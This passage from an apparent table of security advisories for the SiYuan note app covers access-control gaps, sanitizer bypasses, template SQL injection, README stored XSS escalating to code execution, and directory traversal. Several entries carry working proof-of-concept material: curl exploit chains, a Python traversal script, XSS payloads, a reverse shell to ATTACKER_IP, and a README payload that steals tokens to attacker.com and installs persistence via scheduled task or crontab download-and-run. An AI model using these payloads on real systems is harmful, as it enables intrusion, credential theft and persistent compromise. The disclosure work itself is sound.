ret.Data = model.SearchAssetsByName(k, exts)
// :178-196 searchTag — does NOT filter
tags := model.SearchTags(k)
ret.Data = map[string]any{"tags": tags, "k": k}
// :198-213 searchWidget — does NOT filter
widgets := model.SearchWidget(keyword)
// :233-248 searchTemplate — does NOT filter
templates := model.SearchTemplate(keyword)
```
`model.SearchAssetsByName`, `model.SearchTags`, `model.SearchWidget`, `model.SearchTemplate` operate over the entire workspace database / filesystem, not just the publish-visible subset. A `FilterTagsByPublishIgnore` helper *already exists* in `kernel/model/` and is used by `getTag` itself (`kernel/api/tag.go:58-62`), confirming the maintainers' intent.
### PoC
End-to-end reproduction requires enabling the SiYuan publish service, marking one notebook as private to publish access, and obtaining a `RoleReader` JWT from the publish reverse-proxy (per `kernel/server/proxy/publish.go`). Once authenticated as the Reader against the publish port:
```bash
# Returns ALL tags across the workspace, including ones drawn only from the publish-private notebook.
curl -X POST https://<publish-host>/api/search/searchTag \
-H 'Authorization: Bearer <reader-jwt>' \
-H 'Content-Type: application/json' \
-d '{"k":""}'
# Returns ALL asset filenames (e.g., CV.pdf, contract.docx, salary-2026.xlsx) regardless of source notebook.
curl -X POST https://<publish-host>/api/search/searchAsset \
-H 'Authorization: Bearer <reader-jwt>' \
-H 'Content-Type: application/json' \
-d '{"k":""}'
curl -X POST https://<publish-host>/api/search/searchWidget -H '...' -d '{"k":""}'
curl -X POST https://<publish-host>/api/search/searchTemplate -H '...' -d '{"k":""}'
```
Each call returns the global result set without applying `FilterTagsByPublishIgnore` / `FilterAssetContentByPublishAccess` / equivalent.
In this audit I source-confirmed the missing branch in v3.6.5 but did not stand up the full publish-service flow. The fix is straightforward enough that the source-level evidence should be sufficient for triage.
### Impact
A publish-service Reader (the role assigned to anonymous publish visitors by default) can enumerate:
- All tag strings used anywhere in the workspace — frequently contains person names, project codenames, internal identifiers.
- All asset filenames uploaded to the workspace — frequently contains the contents of `CV.pdf`, `contract.docx`, `salary-2026.xlsx`, etc.
- All widget names and template names installed in the workspace.
This violates the publish-service trust boundary. Users intentionally mark notebooks as "invisible to publish" specifically to keep this metadata out of public reach. | fixed | osv:GHSA-fmh9-gpqh-g53g |
| medium | any | 0.0.0-20260414013942-62eed37a3263 | SiYuan has incomplete fix for CVE-2026-33066: XSS ### Summary
The incomplete fix for SiYuan's bazaar README rendering enables the Lute HTML sanitizer but fails to block `<iframe>` tags, allowing stored XSS via `srcdoc` attributes containing embedded scripts that execute in the Electron context.
### Affected Package
- **Ecosystem:** Go
- **Package:** github.com/siyuan-note/siyuan
- **Affected versions:** < commit b382f50e1880
- **Patched versions:** >= commit b382f50e1880
### Details
The `renderPackageREADME()` function in `kernel/bazaar/readme.go` renders Markdown README content from bazaar (marketplace) packages into HTML. The original vulnerability allowed stored XSS through unsanitized HTML in READMEs. The fix adds `luteEngine.SetSanitize(true)` to enable Lute's built-in HTML sanitizer.
However, the Lute sanitizer in `lute/render/sanitizer.go` has a critical gap:
1. `<iframe>` is explicitly commented out of `setOfElementsToSkipContent`, so iframe tags pass through.
2. The `srcdoc` attribute is checked against URL-prefix blocklists (`javascript:`, `data:text/html`), but `srcdoc` contains raw HTML content, not a URL. A value like `<img src=x onerror=alert(1)>` does not start with any blocked prefix.
3. The browser renders `srcdoc` HTML in a nested browsing context, executing embedded scripts and event handlers.
The fix correctly blocks direct `<script>` tags, event handler attributes, and `javascript:` protocol links. However:
- `<iframe srcdoc="<script>alert(document.domain)</script>">` passes through because iframe is not blocked and the srcdoc value is raw HTML (not a URL scheme).
- `<iframe srcdoc="<img src=x onerror=alert(document.cookie)>">` also passes because the event handler is inside the srcdoc string value, not a top-level tag attribute.
### PoC
```python
"""
CVE-2026-33066 - Incomplete Sanitization in SiYuan Bazaar README Rendering
Component: kernel/bazaar/readme.go :: renderPackageREADME()
Patch: https://github.com/siyuan-note/siyuan/commit/b382f50e1880ed996364509de5a10a72d7409428
"""
import re
import sys
from html.parser import HTMLParser
ELEMENTS_TO_SKIP_CONTENT = {
"frame", "frameset",
# "iframe", # NOTE: iframe is commented out in the original Go code!
"noembed", "noframes", "noscript", "nostyle",
"object", "script", "style", "title",
}
EVENT_ATTRS = {
"onafterprint", "onbeforeprint", "onbeforeunload", "onerror",
"onhashchange", "onload", "onmessage", "onoffline", "ononline",
"onpagehide", "onpageshow", "onpopstate", "onresize", "onstorage",
"onunload", "onblur", "onchange", "oncontextmenu", "onfocus",
"oninput", "oninvalid", "onreset", "onsearch", "onselect",
"onsubmit", "onkeydown", "onkeypress", "onkeyup", "onclick",
"ondblclick", "onmousedown", "onmousemove", "onmouseout",
"onmouseover", "onmouseleave", "onmouseenter", "onmouseup",
"onmousewheel", "onwheel", "ondrag", "ondragend", "ondragenter",
"ondragleave", "ondragover", "ondragstart", "ondrop", "onscroll",
"oncopy", "oncut", "onpaste", "onabort", "oncanplay",
"oncanplaythrough", "oncuechange", "ondurationchange", "onemptied",
"onended", "onloadeddata", "onloadedmetadata", "onloadstart",
"onpause", "onplay", "onplaying", "onprogress", "onratechange",
"onseeked", "onseeking", "onstalled", "onsuspend", "ontimeupdate",
"onvolumechange", "onwaiting", "ontoggle", "onbegin", "onend",
"onrepeat", "http-equiv", "formaction",
}
URL_ATTRS = {"src", "srcdoc", "srcset", "href"}
BLOCKED_URL_PREFIXES = ("data:image/svg+xml", "data:text/html", "javascript")
SELF_CLOSING_TAGS = {"img", "br", "hr", "input", "meta", "link", "area",
"base", "col", "embed", "source", "track", "wbr"}
def sanitize_attr_value_for_url(key, val):
cleaned = val.lower().strip()
cleaned = ''.join(c for c in cleaned if not c.isspace() or c == ' ')
for prefix in BLOCKED_URL_PREFIXES:
if cleaned.startswith(prefix):
return False
return True
class LuteSanitizer(HTMLParser):
def __init__(self):
super().__init__(convert_charrefs=False)
self.output = []
self.skip_depth = 0
def handle_starttag(self, tag, attrs):
tag = tag.lower()
if tag in ELEMENTS_TO_SKIP_CONTENT:
self.skip_depth += 1
self.output.append(" ")
return
if self.skip_depth > 0:
return
sanitized_attrs = []
for key, val in attrs:
key = key.lower()
if val is None: val = ""
if key in EVENT_ATTRS: continue
if key in URL_ATTRS:
if not sanitize_attr_value_for_url(key, val): continue
sanitized_attrs.append((key, val))
parts = ["<" + tag]
for key, val in sanitized_attrs:
escaped_val = val.replace("&", "&").replace('"', """)
parts.append(f' {key}="{escaped_val}"')
if tag in SELF_CLOSING_TAGS: parts.append(" /")
parts.append(">")
self.output.append("".join(parts))
def handle_endtag(self, tag):
tag = tag.lower()
if tag in ELEMENTS_TO_SKIP_CONTENT:
self.skip_depth -= 1
if self.skip_depth < 0: self.skip_depth = 0
self.output.append(" ")
return
if self.skip_depth > 0: return
self.output.append(f"</{tag}>")
def handle_data(self, data):
if self.skip_depth > 0: return
self.output.append(data)
def handle_entityref(self, name):
if self.skip_depth > 0: return
self.output.append(f"&{name};")
def handle_charref(self, name):
if self.skip_depth > 0: return
self.output.append(f"&#{name};")
def handle_comment(self, data): pass
def handle_decl(self, decl): pass
def get_output(self): return "".join(self.output)
def sanitize_html(html_str):
sanitizer = LuteSanitizer()
sanitizer.feed(html_str)
return sanitizer.get_output()
def check_xss(html_output):
findings = []
srcdoc_match = re.search(r'srcdoc="([^"]*)"', html_output, re.IGNORECASE)
if srcdoc_match:
import html as html_mod
decoded = html_mod.unescape(srcdoc_match.group(1).lower())
if '<script' in decoded:
findings.append("iframe srcdoc: embedded <script> tag")
if re.search(r'on\w+\s*=', decoded):
findings.append("iframe srcdoc: event handler in nested HTML")
return findings
PAYLOADS = [
'<iframe srcdoc="<script>alert(document.domain)</script>"></iframe>',
'<iframe srcdoc="<img src=x onerror=alert(document.cookie)>"></iframe>',
]
bypass_found = False
for payload in PAYLOADS:
fixed_output = sanitize_html(payload)
findings = check_xss(fixed_output)
if findings:
bypass_found = True
print(f"BYPASS: {payload[:80]}")
for f in findings:
print(f" - {f}")
if bypass_found:
print("\nVULNERABILITY CONFIRMED")
sys.exit(0)
else:
print("\nVULNERABILITY NOT CONFIRMED")
sys.exit(1)
```
```bash
python3 poc.py
```
**Steps to reproduce:**
1. `git clone https://github.com/siyuan-note/siyuan /tmp/siyuan_test`
2. `cd /tmp/siyuan_test && git checkout b382f50e1880ed996364509de5a10a72d7409428~1`
3. `python3 poc.py` (or `go run poc.go` if Go PoC)
**Expected output:**
```
VULNERABILITY CONFIRMED
Iframe tags with srcdoc attributes bypass the Lute sanitizer, allowing embedded scripts to execute in the Electron context.
```
### Impact
A malicious bazaar package author can include `<iframe srcdoc='<script>...</script>'>` in their README.md. When other users view the package in SiYuan's marketplace UI, the XSS executes in the Electron context with full application privileges, enabling data theft, local file access, and arbitrary code execution on the user's machine.
### Suggested Remediation
1. Add `iframe` to the `setOfElementsToSkipContent` set in the Lute sanitizer.
2. If iframes must be preserved, strip the `srcdoc` attribute entirely or sanitize its HTML content rec | fixed | osv:GHSA-8q5w-mmxf-48jg |
| medium | any | 0.0.0-20260512140701-d7b77d945e0d | SiYuan: Broken access control in `/api/tag/getTag` — Reader role can mutate `Conf.Tag.Sort` and persist to disk ### Summary
`POST /api/tag/getTag` is registered with `model.CheckAuth` only, omitting both `model.CheckAdminRole` and `model.CheckReadonly`, despite the handler performing a configuration write that is normally guarded by both. Any authenticated user — including publish-service `RoleReader` accounts and `RoleEditor` accounts on a read-only workspace — can call this endpoint with a `sort` argument to mutate `model.Conf.Tag.Sort` and trigger `model.Conf.Save()`, which atomically rewrites the entire workspace `conf.json`.
Same root-cause class as the patched `GHSA-4j3x-hhg2-fm2x` (which fixed missing `CheckAdminRole + CheckReadonly` on `/api/template/renderSprig`).
### Details
**Affected files / lines (v3.6.5):**
`kernel/api/router.go:170` — only `CheckAuth`:
```go
ginServer.Handle("POST", "/api/tag/getTag", model.CheckAuth, getTag)
// Compare the sibling registrations on the next two lines, which DO gate writes:
ginServer.Handle("POST", "/api/tag/renameTag", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renameTag)
ginServer.Handle("POST", "/api/tag/removeTag", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, removeTag)
```
`kernel/api/tag.go:28-64` — handler. The `if nil != arg["sort"]` block writes config without any role check:
```go
func getTag(c *gin.Context) {
ret := gulu.Ret.NewResult()
defer c.JSON(http.StatusOK, ret)
arg, ok := util.JsonArg(c, ret)
if !ok { return }
...
if nil != arg["sort"] { // ← unauthorized write path
sortVal, ok := util.ParseJsonArg[float64]("sort", arg, ret, true, false)
if !ok { return }
model.Conf.Tag.Sort = int(sortVal)
model.Conf.Save() // persists entire conf to <workspace>/conf/conf.json
}
...
}
```
`Conf.Save()` rewrites the **entire** configuration file, which means a malicious caller racing with a legitimate config change can roll back another user's setting (TOCTOU on the global config object).
### PoC
Same Docker setup as Advisory 1.
```bash
# 1. Authenticate (any role with CheckAuth pass — admin used here for convenience).
curl -s -c /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/loginAuth \
-H 'Content-Type: application/json' -d '{"authCode":"audittest"}' >/dev/null
# 2. Read current Conf.Tag.Sort.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \
-H 'Content-Type: application/json' -d '{}' \
| python3 -c "import json,sys;print('Conf.Tag.Sort BEFORE =',json.load(sys.stdin)['data']['conf']['tag']['sort'])"
# → Conf.Tag.Sort BEFORE = 4
# 3. Mutate via the read-style endpoint.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/tag/getTag \
-H 'Content-Type: application/json' -d '{"sort": 7}'
# → {"code":0,"msg":"","data":[]}
# 4. Confirm in-memory.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \
-H 'Content-Type: application/json' -d '{}' \
| python3 -c "import json,sys;print('Conf.Tag.Sort AFTER =',json.load(sys.stdin)['data']['conf']['tag']['sort'])"
# → Conf.Tag.Sort AFTER = 7
# 5. Confirm persisted to disk inside the container.
docker exec siyuan-audit grep -o 'sort":[0-9]*' /siyuan/workspace/conf/conf.json
# → sort":7
```
The vulnerability is exposed to publish-mode `RoleReader` (default for any anonymous publish visitor) and to `RoleEditor` users on workspaces where the administrator has set `Editor.ReadOnly = true`.
### Impact
Limited direct damage — the writable field is only the tag display sort order. The pattern is concerning because:
- It demonstrates the same gap that `GHSA-4j3x-hhg2-fm2x` was meant to flag broadly (missing `CheckAdminRole + CheckReadonly` on a read-style endpoint that performs writes); each occurrence has to be patched individually.
- `Conf.Save()` rewrites the whole file, so a write-race during a legitimate configuration change can overwrite unrelated user-set values.
- A publish-service Reader being able to mutate any server state at all violates the intended trust boundary. | fixed | osv:GHSA-6r88-8v7q-q4p2 |
| medium | any | 0.0.0-20260310025236-297bd526708f | SiYuan has a SVG Sanitizer Bypass via `<animate>` Element — Unauthenticated XSS # SVG Sanitizer Bypass via `<animate>` Element — Unauthenticated XSS
## Summary
SiYuan's SVG sanitizer (`SanitizeSVG`) blocks dangerous elements (`<script>`, `<iframe>`, `<foreignobject>`) and removes `on*` event handlers and `javascript:` in `href` attributes. However, it does NOT block SVG animation elements (`<animate>`, `<set>`) which can dynamically set attributes to dangerous values at runtime, bypassing the static sanitization. This allows an attacker to inject executable JavaScript into the unauthenticated `/api/icon/getDynamicIcon` endpoint (type=8), creating a reflected XSS.
This is a bypass of the fix for CVE-2026-29183 (fixed in v3.5.9).
## Affected Component
- **File:** `kernel/util/misc.go`
- **Function:** `SanitizeSVG()` (lines 234-319)
- **Endpoint:** `GET /api/icon/getDynamicIcon?type=8&content=...` (unauthenticated)
- **Version:** SiYuan <= 3.5.9
## Root Cause
The sanitizer checks attributes on elements at **parse time**. SVG `<animate>` and `<set>` elements modify attributes **at runtime** — these elements are not in the sanitizer's blocklist.
### Sanitizer's blocklist (line 250)
```go
if tag == "script" || tag == "iframe" || tag == "object" || tag == "embed" || tag == "foreignobject" {
n.RemoveChild(c)
// ...
}
```
Missing from blocklist: `animate`, `set`, `animateTransform`, `animateMotion`
### Attribute check (lines 264-267)
```go
// Only checks static attributes
if strings.HasPrefix(key, "on") {
continue
}
```
The `<animate>` element's `values` attribute contains the payload (`javascript:...`), but the sanitizer only checks for `on*` prefix, `href`, or `xlink:href` keys. The `values`, `to`, `from`, `attributeName` attributes are all passed through.
## Proof of Concept
### Vector 1: `<animate>` sets `href` to `javascript:`
```
GET /api/icon/getDynamicIcon?type=8&content=</text><a><animate attributeName="href" values="javascript:alert(document.domain)" begin="0s" fill="freeze"/><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue
```
After template rendering, the SVG contains:
```xml
<svg ...>
<text ...></text>
<a>
<animate attributeName="href" values="javascript:alert(document.domain)" begin="0s" fill="freeze"/>
<text x="50%" y="80%" fill="red" style="font-size:60px">Click me</text>
</a>
<text></text>
</svg>
```
The sanitizer passes this through because:
1. `<animate>` is not in the element blocklist
2. `attributeName="href"` — key is `attributename`, doesn't start with `on`, not `href` itself
3. `values="javascript:..."` — key is `values`, not `href`
When the SVG is rendered in the browser (navigating directly to the URL), `<animate>` sets the parent `<a>` element's `href` to `javascript:alert(document.domain)`. Clicking "Click me" triggers the JavaScript.
### Vector 2: `<set>` modifies event handlers
```
GET /api/icon/getDynamicIcon?type=8&content=</text><set attributeName="onmouseover" to="alert(document.domain)"/><text>&color=blue
```
The `<set>` element dynamically adds an `onmouseover` event handler to the parent element at runtime.
## Attack Scenario
1. Attacker crafts a malicious `getDynamicIcon` URL with XSS payload
2. Attacker sends the URL to a victim who has an active SiYuan session
3. Victim clicks/navigates to the URL
4. SVG renders with Content-Type `image/svg+xml` — browser renders as standalone SVG document
5. JavaScript executes in the SiYuan server's origin
6. Attacker steals session cookies, API tokens, or makes authenticated API calls to read/modify notes
## Impact
- **Severity:** CRITICAL (CVSS ~9.1)
- **Type:** CWE-79 (Improper Neutralization of Input During Web Page Generation)
- Unauthenticated reflected XSS via SVG injection
- Executes in the SiYuan application origin, giving full access to authenticated APIs
- Can chain to: data exfiltration, note modification, configuration theft (API tokens, auth codes)
- Bypasses the fix for CVE-2026-29183
## Suggested Fix
Add animation elements to the sanitizer blocklist:
```go
// In SanitizeSVG, line 250:
if tag == "script" || tag == "iframe" || tag == "object" || tag == "embed" ||
tag == "foreignobject" || tag == "animate" || tag == "set" ||
tag == "animatetransform" || tag == "animatemotion" {
n.RemoveChild(c)
c = next
continue
}
```
Or additionally check the `values`, `to`, and `from` attributes for `javascript:` patterns:
```go
if key == "values" || key == "to" || key == "from" {
if strings.Contains(val, "javascript:") {
continue
}
}
```
Also consider checking `attributeName` — if it targets `href`, `xlink:href`, or any `on*` attribute, the animation element should be removed entirely. | fixed | osv:GHSA-5hc8-qmg8-pw27 |
| medium | any | \u2014 | SiYuan has an SSTI via /api/template/renderSprig ### Summary
Siyuan's /api/template/renderSprig endpoint is vulnerable to Server-Side Template Injection (SSTI) through the Sprig template engine. Although the engine has limitations, it allows attackers to access environment variables
### Impact
Information leakage | open | osv:GHSA-4pjc-pwgq-q9jp |
| medium | any | 3.6.1 | SiYuan's renderSprig has a missing admin check that allows any user to read full workspace DB ### Summary
`POST /api/template/renderSprig` lacks `model.CheckAdminRole`, allowing any authenticated user to execute arbitrary SQL queries against the SiYuan workspace database and exfiltrate all note content, metadata, and custom attributes.
### Details
**File:** `kernel/api/router.go`
Every sensitive endpoint in the codebase uses `model.CheckAuth + model.CheckAdminRole`, but `renderSprig` only has `CheckAuth`:
```go
// Missing CheckAdminRole
ginServer.Handle("POST", "/api/template/renderSprig",
model.CheckAuth, renderSprig)
// Correct pattern used by all other data endpoints
ginServer.Handle("POST", "/api/template/render",
model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renderTemplate)
```
`renderSprig` calls `model.RenderGoTemplate` (`kernel/model/template.go`) which registers SQL functions from `kernel/sql/database.go`:
```go
(*templateFuncMap)["querySQL"] = func(stmt string) (ret []map[string]interface{}) {
ret, _ = Query(stmt, 1024) // executes raw SELECT, no role check
return
}
```
Any authenticated user - including Publish Service **Reader** role accounts - can call this endpoint and execute arbitrary SELECT queries.
### PoC
**Environment:**
```bash
docker run -d --name siyuan -p 6806:6806 \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123
```
**Exploit:**
```bash
# Step 1: Login and retrieve API token
curl -s -X POST http://localhost:6806/api/system/loginAuth \
-H "Content-Type: application/json" \
-d '{"authCode":"test123"}' -c /tmp/siy.cookie
sleep 15 # wait for boot
TOKEN=$(curl -s -X POST http://localhost:6806/api/system/getConf \
-b /tmp/siy.cookie -H "Content-Type: application/json" -d '{}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['data']['conf']['api']['token'])")
# Step 2: Execute SQL as non-admin user
curl -s -X POST http://localhost:6806/api/template/renderSprig \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"template":"{{querySQL \"SELECT count(*) as n FROM blocks\" | toJson}}"}'
```
**Confirmed response on v3.6.0:**
```json
{"code":0,"msg":"","data":"[{\"n\":0}]"}
```
**Full note dump:**
```bash
curl -s -X POST http://localhost:6806/api/template/renderSprig \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"template":"{{range $r := (querySQL \"SELECT hpath,content FROM blocks LIMIT 100\")}}{{$r.hpath}}: {{$r.content}}\n{{end}}"}'
```
### Impact
Any authenticated user (API token holder, Publish Service Reader) can:
- Dump **all note content** and document hierarchy from the workspace
- Exfiltrate tags, custom attributes, block IDs, and timestamps
- Search notes for stored passwords, API keys, or personal data
- Enumerate all notebooks and their structure
This is especially severe in shared or enterprise deployments where lower-privilege accounts should not have access to other users' notes. | fixed | osv:GHSA-4j3x-hhg2-fm2x |
| medium | any | 0.0.0-20260314111550-b382f50e1880 | SiYuan has Stored XSS to RCE via Unsanitized Bazaar README Rendering # Stored XSS to RCE via Unsanitized Bazaar README Rendering
## Summary
SiYuan's Bazaar (community marketplace) renders package README content without HTML sanitization. The backend `renderREADME` function uses `lute.New()` without calling `SetSanitize(true)`, allowing raw HTML embedded in Markdown to pass through unmodified. The frontend then assigns the rendered HTML to `innerHTML` without any additional sanitization. A malicious package author can embed arbitrary JavaScript in their README that executes when a user clicks to view the package details. Because SiYuan's Electron configuration enables `nodeIntegration: true` with `contextIsolation: false`, this XSS escalates directly to full Remote Code Execution.
## Affected Component
- **README rendering (backend)**: `kernel/bazaar/package.go:635-645` (`renderREADME` function)
- **README rendering (frontend)**: `app/src/config/bazaar.ts:607` (`innerHTML` assignment)
- **Electron config**: `app/electron/main.js:422-426` (`nodeIntegration: true`, `contextIsolation: false`)
## Affected Versions
- SiYuan <= 3.5.9
-
## Severity
**Critical** — CVSS 9.6 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H)
- CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)
Note: This vector requires one click (user viewing the package README), unlike the metadata vector which is zero-click.
## Vulnerable Code
### Backend: `kernel/bazaar/package.go:635-645`
```go
func renderREADME(repoURL string, mdData []byte) (ret string, err error) {
luteEngine := lute.New() // Fresh Lute instance — SetSanitize NOT called
luteEngine.SetSoftBreak2HardBreak(false)
luteEngine.SetCodeSyntaxHighlight(false)
linkBase := "https://cdn.jsdelivr.net/gh/" + ...
luteEngine.SetLinkBase(linkBase)
ret = luteEngine.Md2HTML(string(mdData)) // Raw HTML in Markdown is PRESERVED
return
}
```
Compare with SiYuan's own note renderer in `kernel/util/lute.go:81`, which **does** sanitize:
```go
luteEngine.SetSanitize(true) // Notes ARE sanitized — but Bazaar README is NOT
```
This inconsistency demonstrates that the project is aware of the Lute sanitization API but failed to apply it to Bazaar content.
### Frontend: `app/src/config/bazaar.ts:607`
```typescript
fetchPost("/api/bazaar/getBazaarPackageREADME", {...}, response => {
mdElement.innerHTML = response.data.html; // Unsanitized HTML injected into DOM
});
```
The backend returns unsanitized HTML, and the frontend blindly assigns it to `innerHTML` without any client-side sanitization (e.g., DOMPurify).
### Electron: `app/electron/main.js:422-426`
```javascript
webPreferences: {
nodeIntegration: true,
contextIsolation: false,
// ...
}
```
Any JavaScript executing in the renderer has direct access to Node.js APIs.
## Proof of Concept
### Step 1: Create a malicious README
Create a GitHub repository with a valid SiYuan plugin/theme/template structure. The `README.md` contains embedded HTML:
```markdown
# Helpful Productivity Plugin
This plugin helps you organize your notes with smart templates and AI-powered suggestions.
## Features
- Smart template insertion
- AI-powered note organization
- Cross-platform sync
<img src=x onerror="require('child_process').exec('calc.exe')">
## Installation
Install via the SiYuan Bazaar marketplace.
## License
MIT
```
The raw `<img>` tag with `onerror` handler is valid Markdown (HTML passthrough). The Lute engine preserves it because `SetSanitize(true)` is not called. The frontend renders it via `innerHTML`, and the broken image triggers `onerror`, executing `calc.exe`.
### Step 2: Submit to Bazaar
Submit the repository to the SiYuan Bazaar via the standard community contribution process.
### Step 3: One-click RCE
When a SiYuan user browses the Bazaar, sees the package listing, and clicks on it to view the README/details, the unsanitized HTML renders in the detail panel. The `onerror` handler fires, executing arbitrary OS commands.
### Escalation: Reverse shell
```markdown
# Cool Theme for SiYuan
Beautiful dark theme with custom fonts.
<img src=x onerror="require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"')">
```
### Escalation: Multi-stage payload via README
A more sophisticated attack can hide the payload deeper in the README to avoid casual review:
```markdown
# Professional Note Templates
A comprehensive collection of note templates for professionals.
## Templates Included
| Category | Count | Description |
|----------|-------|-------------|
| Business | 15 | Meeting notes, project plans |
| Academic | 12 | Research notes, citations |
| Personal | 8 | Journal, habit tracking |
## Screenshots
<!-- Legitimate-looking image reference -->
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://attacker.com/dark.png">
<source media="(prefers-color-scheme: light)" srcset="https://attacker.com/light.png">
<img src="https://attacker.com/screenshot.png" alt="Template Preview" onload="
var c = require('child_process');
var o = require('os');
var f = require('fs');
var p = require('path');
// Exfiltrate sensitive data
var home = o.homedir();
var configDir = p.join(home, '.config', 'siyuan');
var data = {};
try { data.apiToken = f.readFileSync(p.join(configDir, 'cookie.key'), 'utf8'); } catch(e) {}
try { data.conf = JSON.parse(f.readFileSync(p.join(configDir, 'conf.json'), 'utf8')); } catch(e) {}
try { data.hostname = o.hostname(); data.user = o.userInfo().username; data.platform = o.platform(); } catch(e) {}
// Send to attacker
var https = require('https');
var payload = JSON.stringify(data);
var req = https.request({
hostname: 'attacker.com', port: 443, path: '/collect', method: 'POST',
headers: { 'Content-Type': 'application/json', 'Content-Length': payload.length }
});
req.write(payload);
req.end();
// Drop persistence
if (o.platform() === 'win32') {
c.exec('schtasks /create /tn SiYuanSync /tr \"powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString(\\\"https://attacker.com/stage2.ps1\\\"))\" /sc onlogon /rl highest /f');
} else {
c.exec('(crontab -l 2>/dev/null; echo \"@reboot curl -s https://attacker.com/stage2.sh | bash\") | crontab -');
}
">
</picture>
## Changelog
- v1.0.0: Initial release
```
This payload:
1. Uses `onload` instead of `onerror` (fires on successful image load from attacker's server)
2. Exfiltrates SiYuan API token, config, hostname, username, and platform info
3. Installs cross-platform persistence (Windows scheduled task / Linux crontab)
4. Is buried inside a legitimate-looking `<picture>` element that blends with real README content
### Escalation: SVG-based payload (bypasses naive img filtering)
```markdown
## Architecture
<svg onload="require('child_process').exec('id > /tmp/pwned')">
<rect width="100" height="100" fill="blue"/>
</svg>
```
### Escalation: Details/summary element (interactive trigger)
```markdown
## FAQ
<details ontoggle="require('child_process').exec('whoami > /tmp/pwned')" open>
<summary>How do I install this plugin?</summary>
Use the SiYuan Bazaar to install.
</details>
```
The `open` attribute causes `ontoggle` to fire immediately without user interaction with the element itself.
## Attack Scenario
1. Attacker creates a legitimate-looking GitHub repository with a SiYuan plugin/theme/template.
2. The README contains a well-crafted payload hidden within legitimate-looking content (e.g., inside a `<picture>` tag, `<details>` block, or `<svg>`).
3. Attacker submits the package to the SiYuan Bazaar via the community contribution process.
4. A SiYuan user browses the Bazaar and clicks on the package to view its details/README.
5. The backend renders the README via `renderREADME()` without sanitization.
6. The frontend assigns the HTML to `innerHTML`.
7. The injected JavaScript executes with full Node.js access.
8. The | fixed | osv:GHSA-4663-4mpg-879v |
| low | any | 0.0.0-20260118021606-5c0cc375b475 | SiYuan has a Reflected Cross-Site Scripting (XSS) via /api/icon/getDynamicIcon ### Summary
Reflected XSS in /api/icon/getDynamicIcon due to unsanitized SVG input.
### Details
The endpoint generates SVG images for text icons (type=8). The content query parameter is inserted directly into the SVG <text> tag without XML escaping. Since the response Content-Type is image/svg+xml, injecting unescaped tags allows breaking the XML structure and executing JavaScript.
### PoC
Payload: `test</text><script>alert(window.origin)</script><text>`
1. Open any note and click Change Icon -> Dynamic (Text).
<img width="713" height="373" alt="image" src="https://github.com/user-attachments/assets/8a4f5ec4-81d6-46cb-8872-841cb2188ed8" />
2. Change color and paste the payload into the Custom field and click on this icon.
<img width="935" height="682" alt="image" src="https://github.com/user-attachments/assets/24d28fbd-a3ce-44f1-a5bb-2cc3f711faf5" />
3. Intercept and send the request or get path from devtools
<img width="1229" height="627" alt="image" src="https://github.com/user-attachments/assets/3cfb1d9a-5a23-476c-86cc-f9a7de6bbe32" />
<img width="1140" height="764" alt="image" src="https://github.com/user-attachments/assets/2657e44f-3724-4136-a53f-75068945aef0" />
4. The JavaScript payload executes afted open URL.
<img width="701" height="809" alt="image" src="https://github.com/user-attachments/assets/343ad67a-e236-466b-9ec9-e4f1dea4fd5e" />
<img width="1382" height="847" alt="image" src="https://github.com/user-attachments/assets/01820d3c-c374-402a-8d72-6ea75dbd92c2" />
### Impact
Arbitrary JavaScript execution in the user's session context if the SVG is loaded directly. It also prevents using legitimate characters like < or > in icon text.
### Note
Tested version:
<img width="1368" height="699" alt="image" src="https://github.com/user-attachments/assets/a7466b8f-a88b-461d-8d9e-7178af7ab076" /> | fixed | osv:GHSA-w836-5gpm-7r93 |
| critical | any | \u2014 | SiYuan has directory traversal within its publishing service ### Details
The /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook.
### PoC
```python
#!/usr/bin/env python3
"""POC: SiYuan /api/file/readDir 未鉴权目录遍历"""
import requests, json, sys
def poc(target):
base = target.rstrip("/")
url = f"{base}/api/file/readDir"
def read_dir(path, depth=0, max_depth=4):
try:
r = requests.post(url, json={"path":path},
headers={"Content-Type":"application/json"}, timeout=10)
data = r.json()
except Exception as e:
return
if data.get("code") != 0:
return
entries = data.get("data") or []
for entry in entries:
name = entry.get("name","")
if name.startswith("."):
continue
icon = "📁" if entry.get("isDir") else "📄"
indent = " " * depth
print(f" {indent}{icon} {name}")
if entry.get("isDir") and depth < max_depth:
read_dir(f"{path}/{name}", depth+1, max_depth)
# 遍历根目录
print("[+] 漏洞存在!开始遍历\n")
print(" 📂 data/")
read_dir("data", max_depth=2)
print("\n 📂 conf/")
read_dir("conf", max_depth=2)
# 保存
try:
r = requests.post(url, json={"path":"data"},
headers={"Content-Type":"application/json"}, timeout=10)
with open("readdir.json","w",encoding="utf-8") as f:
json.dump(r.json(), f, ensure_ascii=False, indent=2)
print(f"\n[+] 根目录数据已保存: readdir.json")
except: pass
if __name__ == "__main__":
poc(sys.argv[1] if len(sys.argv)>1 else "http://172.18.40.184")
```
### Impact
Directory traversal vulnerability: The entire directory structure of a notebook could be obtained, and then a file reading vulnerability could be exploited to achieve arbitrary document reading.
资源文件夹
<img width="943" height="794" alt="image" src="https://github.com/user-attachments/assets/c97fcc42-183e-4c83-8a27-cf99bf805038" />
插件文件夹
<img width="826" height="921" alt="image" src="https://github.com/user-attachments/assets/925d4512-e4c0-4b3b-bf96-5639ec572705" />
conf文件夹
